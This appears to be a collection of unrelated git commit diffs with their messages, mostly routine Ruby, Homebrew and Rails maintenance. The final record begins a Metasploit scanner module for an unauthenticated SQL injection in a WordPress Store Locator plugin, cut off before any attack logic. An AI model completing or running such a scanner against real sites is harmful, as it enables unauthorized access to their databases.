+brain.add_neuron TranslatorNeuron.new
EM.run do
AMQP.connect "amqp://#{ENV['ADAM_BRAIN_AMQP_USERNAME']}:#{ENV['ADAM_BRAIN_AMQP_PASSWORD']}@#{ENV['ADAM_BRAIN_AMQP_HOST']}" do |connection|
|
[BRAIN] Make sure translator neuron is enabled
|
diff --git a/Casks/google-auto-backup.rb b/Casks/google-auto-backup.rb
index abc1234..def5678 100644
--- a/Casks/google-auto-backup.rb
+++ b/Casks/google-auto-backup.rb
@@ -0,0 +1,7 @@+class GoogleAutoBackup < Cask
+ url 'https://dl.google.com/dl/edgedl/picasa/gpautobackup_setup.dmg'
+ homepage 'http://picasa.google.com/'
+ version 'latest'
+ no_checksum
+ link 'Google+ Auto Backup.app'
+end
|
Add Google+ Auto Backup.app latest version
This is the backup tool that comes with latest version of Picasa.
Add it as its own cask if you don't want to download Picasa.
More info:
https://support.google.com/picasa/answer/4392268?p=gpautobackup&rd=1
|
diff --git a/raygun_client.gemspec b/raygun_client.gemspec
index abc1234..def5678 100644
--- a/raygun_client.gemspec
+++ b/raygun_client.gemspec
@@ -1,7 +1,7 @@ # -*- encoding: utf-8 -*-
Gem::Specification.new do |s|
s.name = 'raygun_client'
- s.version = '0.0.2.2'
+ s.version = '0.0.2.3'
s.summary = 'Client for the Raygun API using the Obsidian HTTP client'
s.description = ' '
|
Package version is increased from 0.0.2.2 to 0.0.2.3
|
diff --git a/chain-cli.rb b/chain-cli.rb
index abc1234..def5678 100644
--- a/chain-cli.rb
+++ b/chain-cli.rb
@@ -4,26 +4,17 @@ url "git@github.com:jacob-meacham/chain-cli.git", :using => :git, :tag => "0.1.0"
head "git@github.com:jacob-meacham/chain-cli.git", :using => :git, :branch => "develop"
- depends_on :python
+ depends_on :python3
resource "click" do
url "https://pypi.python.org/packages/source/c/click/click-6.6.tar.gz"
sha256 "cc6a19da8ebff6e7074f731447ef7e112bd23adf3de5c597cf9989f2fd8defe9"
end
+ include Language::Python::Virtualenv
+
def install
- ENV.prepend_create_path "PYTHONPATH", libexec/"vendor/lib/python2.7/site-packages"
- %w[click].each do |r|
- resource(r).stage do
- system "python", *Language::Python.setup_install_args(libexec/"vendor")
- end
- end
-
- ENV.prepend_create_path "PYTHONPATH", libexec/"lib/python2.7/site-packages"
- system "python", *Language::Python.setup_install_args(libexec)
-
- bin.install Dir[libexec/"bin/*"]
- bin.env_script_all_files(libexec/"bin", :PYTHONPATH => ENV["PYTHONPATH"])
+ virtualenv_install_with_resources
bash_completion.install "contrib/bash/chain-complete.bash" => "chain"
end
|
Update to new recommendations for python patckages
|
diff --git a/elasticsearch_distance_units_validator.gemspec b/elasticsearch_distance_units_validator.gemspec
index abc1234..def5678 100644
--- a/elasticsearch_distance_units_validator.gemspec
+++ b/elasticsearch_distance_units_validator.gemspec
@@ -1,7 +1,8 @@ # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
-require 'elasticsearch_distance_units_validator/version'
+
+require "elasticsearch_distance_units_validator"
Gem::Specification.new do |spec|
spec.name = "elasticsearch_distance_units_validator"
@@ -18,6 +19,8 @@ spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
+ spec.add_dependency "activemodel"
+
spec.add_development_dependency "bundler", "~> 1.7"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "rspec", "~> 3.2"
|
Add version from constant and add activemodel dependency.
|
diff --git a/lib/miq_automation_engine/service_models/miq_ae_service_service_template_orchestration.rb b/lib/miq_automation_engine/service_models/miq_ae_service_service_template_orchestration.rb
index abc1234..def5678 100644
--- a/lib/miq_automation_engine/service_models/miq_ae_service_service_template_orchestration.rb
+++ b/lib/miq_automation_engine/service_models/miq_ae_service_service_template_orchestration.rb
@@ -1,4 +1,5 @@ module MiqAeMethodService
class MiqAeServiceServiceTemplateOrchestration < MiqAeServiceServiceTemplate
+ expose :orchestration_manager
end
end
|
Add tenant selection to orchestration provision dialog
The selection dropbox is dynamic and points to automate by orchestration operations
https://bugzilla.redhat.com/show_bug.cgi?id=1218746
(transferred from ManageIQ/manageiq@7b694a9c7a5d689df37bc1e1f46a214e42d01f9e)
|
diff --git a/config.rb b/config.rb
index abc1234..def5678 100644
--- a/config.rb
+++ b/config.rb
@@ -7,6 +7,7 @@ set :default_index_name, "mainstream"
set :static, true
+set :static_cache_control, [:public, :max_age => 86400]
set :public_folder, File.join(File.dirname(__FILE__), 'public', 'system')
configure :development do
|
Set a default cache header for sitemaps
|
diff --git a/config.ru b/config.ru
index abc1234..def5678 100644
--- a/config.ru
+++ b/config.ru
@@ -3,6 +3,6 @@ require "refile/test_app"
Refile::TestApp.config.action_dispatch.show_exceptions = true
-Refile.host = "//localhost:9292"
+Refile.app_host = "//localhost:9292"
run Refile::TestApp
|
Make sure rack app uses app_host
|
diff --git a/config.ru b/config.ru
index abc1234..def5678 100644
--- a/config.ru
+++ b/config.ru
@@ -1,4 +1,11 @@ # This file is used by Rack-based servers to start the application.
require ::File.expand_path('../config/environment', __FILE__)
-run Rails.application
+
+if defined?(PhusionPassenger)
+ run Rails.application
+else
+ map ENV['RAILS_RELATIVE_URL_ROOT']||'/' do
+ run Rails.application
+ end
+end
|
Check for RAILS_RELATIVE_URL_ROOT environment variable on startup
|
diff --git a/config.ru b/config.ru
index abc1234..def5678 100644
--- a/config.ru
+++ b/config.ru
@@ -25,7 +25,7 @@ end
def mainchan
- Caskbot.bot.channel_list.find ENV['IRC_CHANNELS'].split(',').first
+ Caskbot.bot.channel_list.find ENV['IRC_CHANNELS'].split.first
end
memoize :github, :config
|
Fix handling of multiple channels
|
diff --git a/app/helpers/activities_helper.rb b/app/helpers/activities_helper.rb
index abc1234..def5678 100644
--- a/app/helpers/activities_helper.rb
+++ b/app/helpers/activities_helper.rb
@@ -11,6 +11,7 @@ return t(".#{source}", { ticket_id: ticket_id, ticket_url: url }).html_safe
end
end
+ nil
end
def customer_link(customer_id)
|
Handle activities without redmine nor otrs ticket
|
diff --git a/app/models/description_object.rb b/app/models/description_object.rb
index abc1234..def5678 100644
--- a/app/models/description_object.rb
+++ b/app/models/description_object.rb
@@ -9,7 +9,6 @@
delegate :title, to: 'descMetadata', unique: true
delegate :dpn_status, to: 'descMetadata', unique: true
- # delegate :institution_name, to: 'descMetadata', unique: true
validates :title, :dpn_status, presence: true
|
Remove commented out line in DescriptionObject model
|
diff --git a/app/services/create_list_item.rb b/app/services/create_list_item.rb
index abc1234..def5678 100644
--- a/app/services/create_list_item.rb
+++ b/app/services/create_list_item.rb
@@ -10,7 +10,7 @@ end
def call
- if item_attached?
+ if requested_item_attached?
AttachSearchToListItem.call(list_item)
AttachQueryResultsToSearch.call(list_item.search)
list_item.save!
@@ -23,7 +23,7 @@
attr_reader :list_item
- def item_attached?
+ def requested_item_attached?
list_item.item
end
end
|
Refactor CreateListItem: rename method (requested_item_attached?)
|
diff --git a/config/initializers/slack_notifier.rb b/config/initializers/slack_notifier.rb
index abc1234..def5678 100644
--- a/config/initializers/slack_notifier.rb
+++ b/config/initializers/slack_notifier.rb
@@ -1,5 +1,11 @@ if ENV["SLACK_WEBHOOK_URL"]
- Tokite::Engine.config.slack_notifier = Slack::Notifier.new ENV["SLACK_WEBHOOK_URL"] do
+ webhook_url = ENV["SLACK_WEBHOOK_URL"]
+elsif Rails.env.test?
+ webhook_url = "https://example.com/notify"
+end
+
+if webhook_url
+ Tokite::Engine.config.slack_notifier = Slack::Notifier.new webhook_url do
if ENV["SLACK_ICON_EMOJI"]
defaults username: ENV.fetch("SLACK_NAME", "tokite"), icon_emoji: ENV["SLACK_ICON_EMOJI"]
else
|
Set dummy slack webhook url for test
|
diff --git a/lib/multi_json/adapters/oj.rb b/lib/multi_json/adapters/oj.rb
index abc1234..def5678 100644
--- a/lib/multi_json/adapters/oj.rb
+++ b/lib/multi_json/adapters/oj.rb
@@ -4,7 +4,11 @@ module Adapters
# Use the Oj library to dump/load.
class Oj
- ParseError = SyntaxError
+ ParseError = if defined?(::Oj::ParseError)
+ ::Oj::ParseError
+ else
+ SyntaxError
+ end
::Oj.default_options = {:mode => :compat}
|
Fix Oj ParseError mapping for Oj 1.4.0
Map Oj adapter ParseError to custom error class when it is defined. This was changed in Oj 1.4.0.
|
diff --git a/tasks/active_record_profiler.rake b/tasks/active_record_profiler.rake
index abc1234..def5678 100644
--- a/tasks/active_record_profiler.rake
+++ b/tasks/active_record_profiler.rake
@@ -17,7 +17,7 @@ if compact && prefix.nil?
case compact
when :date
- prefix = 1.day.ago.strtime(ActiveRecordProfiler::DATE_FORMAT)
+ prefix = 1.day.ago.strftime(ActiveRecordProfiler::DATE_FORMAT)
when :hour
prefix = 1.hour.ago.strftime(ActiveRecordProfiler::DATE_FORMAT + ActiveRecordProfiler::HOUR_FORMAT)
end
@@ -38,4 +38,4 @@ ActiveRecordProfiler::Collector.clear_data
end
-end+end
|
Fix typo in aggregation rake task strftime method name.
|
diff --git a/lib/rodimus/transformation.rb b/lib/rodimus/transformation.rb
index abc1234..def5678 100644
--- a/lib/rodimus/transformation.rb
+++ b/lib/rodimus/transformation.rb
@@ -3,6 +3,10 @@ module Rodimus
class Transformation
+ include Observable
+ include Observing # Transformations observe themselves for run hooks
+ include RuntimeLogging
+
attr_reader :drb_server, :pids, :steps
# User-data accessible across all running steps.
@@ -12,9 +16,11 @@ @steps = []
@pids = []
@shared_data = {} # TODO: This needs to be thread safe
+ observers << self
end
def run
+ notify(self, :before_run)
@drb_server = DRb.start_service(nil, shared_data)
pids.clear
prepare
@@ -30,6 +36,7 @@ ensure
Process.waitall
drb_server.stop_service
+ notify(self, :after_run)
end
def to_s
@@ -39,7 +46,6 @@ private
def prepare
- Rodimus.logger.info "Preparing #{self}..."
# [1, 2, 3, 4] => [1, 2], [2, 3], [3, 4]
steps.inject do |first, second|
read, write = IO.pipe
|
Add observation behavior to the Transformation class.
|
diff --git a/s3-tar-backup.gemspec b/s3-tar-backup.gemspec
index abc1234..def5678 100644
--- a/s3-tar-backup.gemspec
+++ b/s3-tar-backup.gemspec
@@ -12,7 +12,7 @@ s.required_ruby_version = '>= 1.9.2'
s.homepage = 'http://github.com/canton7/s3-tar-backup'
- s.add_dependency 'aws-sdk'
+ s.add_dependency 'aws-sdk', '~> 1.0'
s.executables = ['s3-tar-backup']
|
Add version constraint to aws-sdk dependency
|
diff --git a/0_code_wars/6_morse_code.rb b/0_code_wars/6_morse_code.rb
index abc1234..def5678 100644
--- a/0_code_wars/6_morse_code.rb
+++ b/0_code_wars/6_morse_code.rb
@@ -0,0 +1,19 @@+# http://www.codewars.com/kata/54b724efac3d5402db00065e/
+# --- iteration 1 ---
+def decodeMorse(morse_code)
+ morse_code.strip!
+ morse_code.split(/\s/).map do |element|
+ MORSE_CODE[element]
+ end.join("|").gsub("|||", " ").gsub("|", "")
+end
+
+# I struggled with this one (clearly). I couldn't find an elegant way to deal
+# with ["S", " ", " ", "O", " ", " ", "S"] vs. ["S", "O", "S"],
+# which is why I used the "|" hack although I could've just used spaces.
+# I keep trying to do things like this:
+=begin
+ def decodeMorse(morse_code)
+ morse_code.scan(/[-\.]+/).map{ |x| MORSE_CODE[x] }.join(" ")
+ end
+=end
+# but it loses the locations of the original spaces.
|
Add code wars 6 morse code
|
diff --git a/spec/trie_spec.rb b/spec/trie_spec.rb
index abc1234..def5678 100644
--- a/spec/trie_spec.rb
+++ b/spec/trie_spec.rb
@@ -3,15 +3,6 @@ trie = seed_test_ssearch.trie
describe Ssearch::Trie do
- describe 'when new prefix is looked up' do
- it 'creates new node from reverse indexes'
- it 'returns array of node strings'
- end
-
- describe 'when existing prefix is looked up' do
- it 'returns from the node without bothering #keys'
- end
-
describe '#prefix' do
it 'returns array of node strings' do
trie.prefix('a').must_equal []
|
Delete specs for low-level implementation details
|
diff --git a/Formula/tarsnap.rb b/Formula/tarsnap.rb
index abc1234..def5678 100644
--- a/Formula/tarsnap.rb
+++ b/Formula/tarsnap.rb
@@ -8,9 +8,8 @@ depends_on 'lzma' => :optional
def install
- system "./configure", "--disable-debug", "--disable-dependency-tracking",
- "--prefix=#{prefix}",
- "--enable-sse2"
+ system "./configure", "--disable-dependency-tracking",
+ "--prefix=#{prefix}"
system "make install"
end
end
|
Tarsnap: Remove --enable-sse2 and --disable-debug flags
* The --enable-sse2 flag causes the compile to hang when the
llvm-gcc compiler that comes with Xcode 4 is used.
* The configure script doesn't recognize the --disable-debug option
Signed-off-by: Adam Vandenberg <34c2b6407fd5a10249a15d699d40f9ed1782e98c@gmail.com>
|
diff --git a/lib/blumquist/errors/unsupported_type.rb b/lib/blumquist/errors/unsupported_type.rb
index abc1234..def5678 100644
--- a/lib/blumquist/errors/unsupported_type.rb
+++ b/lib/blumquist/errors/unsupported_type.rb
@@ -2,7 +2,7 @@ module Errors
class UnsupportedType < Blumquist::Error
def initialize(type)
- super("Unsupported type '#{type.to_s}' (#{%w{null, boolean, number, string, array object}.to_json} are supported)")
+ super("Unsupported type '#{type.to_s}' (#{Blumquist::PRIMITIVE_TYPES.to_json}) are supported)")
end
end
end
|
Use Blumquist::PRIMITIVE_TYPES to display the supported primitive types
|
diff --git a/Casks/pandora-jam.rb b/Casks/pandora-jam.rb
index abc1234..def5678 100644
--- a/Casks/pandora-jam.rb
+++ b/Casks/pandora-jam.rb
@@ -0,0 +1,6 @@+class PandoraJam < Cask
+ url 'http://www.bitcartel.com/downloads/pandorajam.zip'
+ homepage 'http://www.bitcartel.com/pandorajam/'
+ version 'latest'
+ content_length '5366519'
+end
|
Add a Cask for PandoraJam.
|
diff --git a/Casks/tunnelblick.rb b/Casks/tunnelblick.rb
index abc1234..def5678 100644
--- a/Casks/tunnelblick.rb
+++ b/Casks/tunnelblick.rb
@@ -1,7 +1,11 @@ class Tunnelblick < Cask
- version '3.3.4'
- sha256 'c14e4b2d4e30679851de7701c8a0b3167158c5ce029c59b49e49eb58946de913'
-
+ if MacOS.version < :mavericks
+ version '3.3.4'
+ sha256 'c14e4b2d4e30679851de7701c8a0b3167158c5ce029c59b49e49eb58946de913'
+ else
+ version '3.4beta38_r3002'
+ sha256 '3cd7f7e55adbd1fd30fc01c0eb8b7919d48602b648af15f841ee1cffd6e5708c'
+ end
url "https://downloads.sourceforge.net/project/tunnelblick/All%20files/Tunnelblick_#{version}.dmg"
appcast 'https://www.tunnelblick.net/appcast.rss'
homepage 'https://code.google.com/p/tunnelblick/'
|
Install the beta version of Tunnelblick for Mavericks and above.
|
diff --git a/test/fixtures/policies/default.rb b/test/fixtures/policies/default.rb
index abc1234..def5678 100644
--- a/test/fixtures/policies/default.rb
+++ b/test/fixtures/policies/default.rb
@@ -3,7 +3,7 @@ default_source :chef_repo, '..'
cookbook 'nrpe-ng', path: '../../..'
run_list 'nrpe-ng::default', 'test::default'
-named_run_list :centos, 'sudo::default', 'yum-epel::default', run_list
-named_run_list :debian, 'apt::default', run_list
+named_run_list :centos, 'sudo::default', 'yum::default', 'yum-epel::default', run_list
+named_run_list :debian, 'sudo::default', 'apt::default', run_list
named_run_list :freebsd, 'freebsd::default', run_list
named_run_list :windows, 'windows::default', run_list
|
Update integration run list for centos/debian.
|
diff --git a/lib/stackbuilder/stacks/gold/win_node.rb b/lib/stackbuilder/stacks/gold/win_node.rb
index abc1234..def5678 100644
--- a/lib/stackbuilder/stacks/gold/win_node.rb
+++ b/lib/stackbuilder/stacks/gold/win_node.rb
@@ -27,6 +27,10 @@ }
})
case @win_version
+ when 'win10'
+ modify_storage('/'.to_sym => {
+ :size => '15G'
+ })
when 'win7'
modify_storage('/'.to_sym => {
:size => '15G'
|
Helen/TomD: Add win10 to WinNode definition
|
diff --git a/app/controllers/ckeditor/application_controller.rb b/app/controllers/ckeditor/application_controller.rb
index abc1234..def5678 100644
--- a/app/controllers/ckeditor/application_controller.rb
+++ b/app/controllers/ckeditor/application_controller.rb
@@ -1,4 +1,4 @@-class Ckeditor::ApplicationController < ::ApplicationController
+class Ckeditor::ApplicationController < ActionController::Base
respond_to :html, :json
layout 'ckeditor/application'
|
Change super base controller to ActionController::Base
|
diff --git a/test/unit/parsers/test_backend.rb b/test/unit/parsers/test_backend.rb
index abc1234..def5678 100644
--- a/test/unit/parsers/test_backend.rb
+++ b/test/unit/parsers/test_backend.rb
@@ -1,8 +1,8 @@ require 'test_helper'
-class TestImageBackend
+class TestImageBackend < Minitest::Test
def tested
- Parsers::ImageBackend.new
+ PictureTag::Parsers::ImageBackend.new
end
def test_vips_formats
|
Fix broken image backend tests
|
diff --git a/db/migrate/20200929003904_add_created_by_to_funding_template.rb b/db/migrate/20200929003904_add_created_by_to_funding_template.rb
index abc1234..def5678 100644
--- a/db/migrate/20200929003904_add_created_by_to_funding_template.rb
+++ b/db/migrate/20200929003904_add_created_by_to_funding_template.rb
@@ -1,6 +1,7 @@-class AddCreatedByToFundingTemplate < ActiveRecord::Migration[5.2]
+class AddCreatedByToFundingTemplate < ActiveRecord::Migration[5.0]
def change
- add_column :funding_templates, :created_by_user_id, :bigint
- add_foreign_key :funding_templates, :users, column: :created_by_user_id, primary_key: :id
+ #add_column :funding_templates, :created_by_user_id, :bigint
+ #add_foreign_key :funding_templates, :users, column: :created_by_user_id, primary_key: :id
+ add_reference :funding_templates, :created_by_user, foreign_key: { to_table: :users }
end
end
|
Update migration for creating a created_by_user_id
|
diff --git a/lib/gitlab/background_migration/migrate_build_stage_id_reference.rb b/lib/gitlab/background_migration/migrate_build_stage_id_reference.rb
index abc1234..def5678 100644
--- a/lib/gitlab/background_migration/migrate_build_stage_id_reference.rb
+++ b/lib/gitlab/background_migration/migrate_build_stage_id_reference.rb
@@ -2,7 +2,7 @@ module BackgroundMigration
class MigrateBuildStageIdReference
def perform(id)
- raise ArgumentError unless id.is_a?(Integer)
+ raise ArgumentError unless id.present?
sql = <<-SQL.strip_heredoc
UPDATE "ci_builds" SET "stage_id" = (
|
Test if argument passed to a migration is present
|
diff --git a/app/policies/message_policy.rb b/app/policies/message_policy.rb
index abc1234..def5678 100644
--- a/app/policies/message_policy.rb
+++ b/app/policies/message_policy.rb
@@ -9,6 +9,7 @@ def create?
(user_is_not_banned_from_topic? and
user_is_member_of_topic? and
+ user_is_author? and
topic_is_unlocked?) or
user.is_of_role? :admin
end
@@ -18,6 +19,10 @@ end
private
+
+ def user_is_author?
+ record.author.id == user.id
+ end
def user_is_member_of_topic?
record.topic.user_ids.include? user.id
|
Update policy to account for editing.
|
diff --git a/l2meter.gemspec b/l2meter.gemspec
index abc1234..def5678 100644
--- a/l2meter.gemspec
+++ b/l2meter.gemspec
@@ -6,7 +6,7 @@ spec.authors = ["Pavel Pravosud"]
spec.email = ["pavel@pravosud.com"]
spec.summary = "L2met friendly log formatter"
- spec.homepage = "https://github.com/rwz/l2meter"
+ spec.homepage = "https://github.com/heroku/l2meter"
spec.license = "MIT"
spec.files = Dir["LICENSE.txt", "README.md", "lib/**/**"]
spec.require_path = "lib"
|
Update homepage url in gemspec
|
diff --git a/motion/joybox/actions/fade.rb b/motion/joybox/actions/fade.rb
index abc1234..def5678 100644
--- a/motion/joybox/actions/fade.rb
+++ b/motion/joybox/actions/fade.rb
@@ -25,11 +25,9 @@ end
def self.to(options = {})
- p "========================="
options = options.nil? ? defaults : defaults.merge!(options)
- p options
- CCFadeTo.actionWithDuration(options[:duration],
+ CCFadeTo.actionWithDuration(options[:duration],
opacity: options[:opacity])
end
|
Remove debug code from Fade class
|
diff --git a/lib/_program.rb b/lib/_program.rb
index abc1234..def5678 100644
--- a/lib/_program.rb
+++ b/lib/_program.rb
@@ -50,6 +50,13 @@
def block_is_out_of_path?
unless movement_is_locked?
+ path = @program_path.lines
+ x_tile, y_tile = @x/32, @y/32
+ x_tc = (@tile_coefficients[@direction][1])
+ y_tc = (@tile_coefficients[@direction][0])
+ path[y_tile+y_tc][x_tile+x_tc] == 0
+ end
+ end
end
|
Add attempt at keeping program inside a path
|
diff --git a/app/presenters/easy_app/search_form_builder.rb b/app/presenters/easy_app/search_form_builder.rb
index abc1234..def5678 100644
--- a/app/presenters/easy_app/search_form_builder.rb
+++ b/app/presenters/easy_app/search_form_builder.rb
@@ -28,6 +28,13 @@ end
+ def range_date(name, opts = {})
+ opts = opts.merge(filter_type: 'range_date', filter_container_id: name)
+ @datatable.search_field(opts)
+ content_tag(:div, '', id: name)
+ end
+
+
def render_datatable
@datatable.render_datatable
end
|
Add range_date method to Datatable form builder
|
diff --git a/lib/atlas/parser/text_to_hash/block/multi_line_block.rb b/lib/atlas/parser/text_to_hash/block/multi_line_block.rb
index abc1234..def5678 100644
--- a/lib/atlas/parser/text_to_hash/block/multi_line_block.rb
+++ b/lib/atlas/parser/text_to_hash/block/multi_line_block.rb
@@ -4,7 +4,7 @@
class MultiLineBlock < Block
- FIRST_LINE = /^[-~]\s([a-z_]*)\s=$/
+ FIRST_LINE = /^[-~]\s([a-z_]*)\s=\s*$/
def key
lines.first.to_s.match(FIRST_LINE).captures.first.to_sym
|
Allow a multi-line block to end with whitespace
|
diff --git a/lib/convection/model/template/resource/aws_s3_bucket.rb b/lib/convection/model/template/resource/aws_s3_bucket.rb
index abc1234..def5678 100644
--- a/lib/convection/model/template/resource/aws_s3_bucket.rb
+++ b/lib/convection/model/template/resource/aws_s3_bucket.rb
@@ -17,7 +17,7 @@ property :lifecycle_configuration, 'LifecycleConfiguration'
property :logging_configuration, 'LoggingConfiguration'
property :notification_configuration, 'NotificationConfiguration'
- property :version_configuration, 'VersionConfiguration'
+ property :versioning_configuration, 'VersioningConfiguration'
def render(*args)
super.tap do |resource|
|
Fix S3 Versioning Property Name.
The S3 Property for Versioning was incorrect. This updates the property
to match the name documented in the CloudFormation documentation.
|
diff --git a/lib/core_ext/active_support_cache_store_ext.rb b/lib/core_ext/active_support_cache_store_ext.rb
index abc1234..def5678 100644
--- a/lib/core_ext/active_support_cache_store_ext.rb
+++ b/lib/core_ext/active_support_cache_store_ext.rb
@@ -1,12 +1,9 @@ module ActiveSupport::Cache
class Store
def expire(options = {})
- tags = options[:tags]
- cache_version = read("$cache_version").to_i
-
- write("$cache_version", cache_version + 1)
+ write('$cache_version', Time.now.to_i)
end
-
+
def expire_tag_version
# $tag_version is bumped when the type of a tag is changed in Tags, if
# a new tag is created, or if a tag's post_count becomes nonzero.
|
Use time for cache_version instead of random (incrementing) integer.
Fixes post count.
--HG--
branch : 2.3-stable
|
diff --git a/spec/unit/axiom/relation/operation/combination/class_methods/combine_tuples_spec.rb b/spec/unit/axiom/relation/operation/combination/class_methods/combine_tuples_spec.rb
index abc1234..def5678 100644
--- a/spec/unit/axiom/relation/operation/combination/class_methods/combine_tuples_spec.rb
+++ b/spec/unit/axiom/relation/operation/combination/class_methods/combine_tuples_spec.rb
@@ -12,12 +12,12 @@ )
end
+ let(:object) { self.class.described_class }
+ let(:header) { left_header | right_header }
+ let(:left_tuple) { Tuple.new(left_header, [1]) }
+ let(:right_tuples) { [Tuple.new(right_header, ['Dan Kubb'])] }
let(:left_header) { Relation::Header.coerce([[:id, Integer]]) }
let(:right_header) { Relation::Header.coerce([[:name, String]]) }
- let(:left_tuple) { Tuple.new(left_header, [1]) }
- let(:right_tuples) { [Tuple.new(right_header, ['Dan Kubb'])] }
- let(:header) { left_header | right_header }
- let(:object) { self.class.described_class }
let(:yields) { [] }
it 'yields each combined tuple' do
|
Change order of let statements
|
diff --git a/lib/manage_engine/app_manager/api/version11.rb b/lib/manage_engine/app_manager/api/version11.rb
index abc1234..def5678 100644
--- a/lib/manage_engine/app_manager/api/version11.rb
+++ b/lib/manage_engine/app_manager/api/version11.rb
@@ -45,6 +45,15 @@ def hosts(response)
self.hosts_services(response).keys
end
+
+ def host_services(host, response)
+ host_service_hash = self.hosts_services(response)
+
+ raise "No Hosts Being Monitored" if host_service_hash.empty?
+ raise "Non-Monitored Host: #{host}" if (host_hash = host_service_hash[host]).empty?
+
+ host_hash.uniq
+ end
end
end
end
|
Add host_services Method for Version11
Update the Version11 class to include a host_services method.
|
diff --git a/app/controllers/pages_controller.rb b/app/controllers/pages_controller.rb
index abc1234..def5678 100644
--- a/app/controllers/pages_controller.rb
+++ b/app/controllers/pages_controller.rb
@@ -3,7 +3,7 @@ before_filter :cache_in_varnish, :only => [:index, :show]
def index
- @pages = Page.all
+ @pages = Page.all.sort { |a,b| a.name <=> b.name }
end
def show
|
Sort the page index by name
|
diff --git a/app/controllers/picks_controller.rb b/app/controllers/picks_controller.rb
index abc1234..def5678 100644
--- a/app/controllers/picks_controller.rb
+++ b/app/controllers/picks_controller.rb
@@ -1,3 +1,14 @@ class PicksController < ApplicationController
+
+ def create
+ @user = User.find_or_create_by(params[:user])
+ @pick = Pick.new(params[:pick])
+ if @pick.save
+ @user.picks << @pick
+ render text: 'good'
+ else
+ render text: 'faild'
+ end
+ end
end
|
Add action create to Pick controller
|
diff --git a/lib/polr/api.rb b/lib/polr/api.rb
index abc1234..def5678 100644
--- a/lib/polr/api.rb
+++ b/lib/polr/api.rb
@@ -16,7 +16,7 @@ end
def self.process
- JSON.parse yield
+ JSON.parse(yield).with_indifferent_access
rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e # API unreachable
raise Polr::Error.new 'Polr API is unreachable'
rescue RestClient::Exception => e # HTTP status error
|
Add indifferent access to hash response
|
diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb
index abc1234..def5678 100644
--- a/app/controllers/users_controller.rb
+++ b/app/controllers/users_controller.rb
@@ -0,0 +1,24 @@+class UsersController < ApplicationController
+ def show
+ unless current_user
+ redirect_to root_path and return
+ end
+
+ @user = User.find(params[:id])
+ if current_user && (current_user == @user)
+ @addresses = current_user.addresses
+ @questionnaire = Questionnaire.find_by(name: current_user.account_type)
+
+ # TODO Refactor N+1 query for response
+ @application_questionnaire_responses = @questionnaire.questions.map { |q|
+ response = ''
+ response = q.response.response_text if q.response
+ [q.question_text, response]
+ }.to_h
+ render 'users/show_as_owner' and return
+ else
+ redirect_to user_path(current_user)
+ # render 'users/show_as_visitor' and return
+ end
+ end
+end
|
Add controller action for User Profile page
|
diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb
index abc1234..def5678 100644
--- a/app/controllers/users_controller.rb
+++ b/app/controllers/users_controller.rb
@@ -38,6 +38,6 @@ end
def user_params
- params.require(:user).permit(:name, :full_name, :email)
+ params.require(:user).permit(:name, :full_name, :email, :avatar)
end
end
|
Add avatar to permitted params in UsersController
|
diff --git a/app/models/mongoid/counter_cache.rb b/app/models/mongoid/counter_cache.rb
index abc1234..def5678 100644
--- a/app/models/mongoid/counter_cache.rb
+++ b/app/models/mongoid/counter_cache.rb
@@ -0,0 +1,25 @@+module Mongoid
+ module CounterCache
+ module ClassMethods
+ def counter_cache(meta_data)
+ counter_name = "#{meta_data[:inverse_of]}_count"
+
+ set_callback(:create, :after) do |document|
+ relation = document.send(meta_data[:name])
+
+ if relation
+ relation.inc(counter_name.to_sym => 1) if relation.class.fields.keys.include?(counter_name)
+ end
+ end
+
+ set_callback(:destroy, :after) do |document|
+ relation = document.send(meta_data[:name])
+
+ if relation && relation.class.fields.keys.include?(counter_name)
+ relation.inc(counter_name.to_sym => -1)
+ end
+ end
+ end
+ end
+ end
+end
|
Add the counter cache module to cache the replies count to increase performance.
|
diff --git a/lib/timecost.rb b/lib/timecost.rb
index abc1234..def5678 100644
--- a/lib/timecost.rb
+++ b/lib/timecost.rb
@@ -1,6 +1,7 @@
require 'timecost/commit'
require 'timecost/range'
-require 'timecost/rangelist'
+require 'timecost/author_list'
+require 'timecost/range_list'
require 'timecost/cli'
|
Fix errors due to renaming *list to *_list.
|
diff --git a/lib/appium_lib/ios/patch.rb b/lib/appium_lib/ios/patch.rb
index abc1234..def5678 100644
--- a/lib/appium_lib/ios/patch.rb
+++ b/lib/appium_lib/ios/patch.rb
@@ -16,15 +16,16 @@ end
# returns if the element is visible
- # 1 = visible
- # 0 = not visible
- # null = unknown
+ # true: 1 = visible,
+ # false: 0 = not visible, null = unknown
+ #
# http://developer.apple.com/library/ios/#documentation/ToolsLanguages/Reference/UIAElementClassReference/UIAElement/UIAElement.html#//apple_ref/doc/uid/TP40009903
def visible
js = <<-JS
au.getElement('#{self.ref}').isVisible();
JS
- @driver.execute_script js
+ result = @driver.execute_script js
+ result == 1 ? true : false
end
end
end
|
Use boolean for .visible on iOS
|
diff --git a/sportngin-brew-gem.rb b/sportngin-brew-gem.rb
index abc1234..def5678 100644
--- a/sportngin-brew-gem.rb
+++ b/sportngin-brew-gem.rb
@@ -2,7 +2,7 @@
class SportnginBrewGem < Formula
homepage 'https://github.com/sportngin/brew-gem'
- url 'https://github.com/sportngin/brew-gem/archive/v0.2.0.tar.gz'
+ url 'https://github.com/sportngin/brew-gem/archive/v0.2.1.tar.gz'
sha1 '94da3eb30de4a94769ab8fdafd9d8db14ce6743b'
def install
|
Upgrade brew-gem to the latest release
|
diff --git a/modules/auxiliary/scanner/http/wp_store_locator_sqli.rb b/modules/auxiliary/scanner/http/wp_store_locator_sqli.rb
index abc1234..def5678 100644
--- a/modules/auxiliary/scanner/http/wp_store_locator_sqli.rb
+++ b/modules/auxiliary/scanner/http/wp_store_locator_sqli.rb
@@ -0,0 +1,65 @@+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HTTP::Wordpress
+ include Msf::Auxiliary::Scanner
+ include Msf::Auxiliary::Report
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'WordPress Store Locator Unauthenticated SQL Injection Scanner',
+ 'Description' => %q{
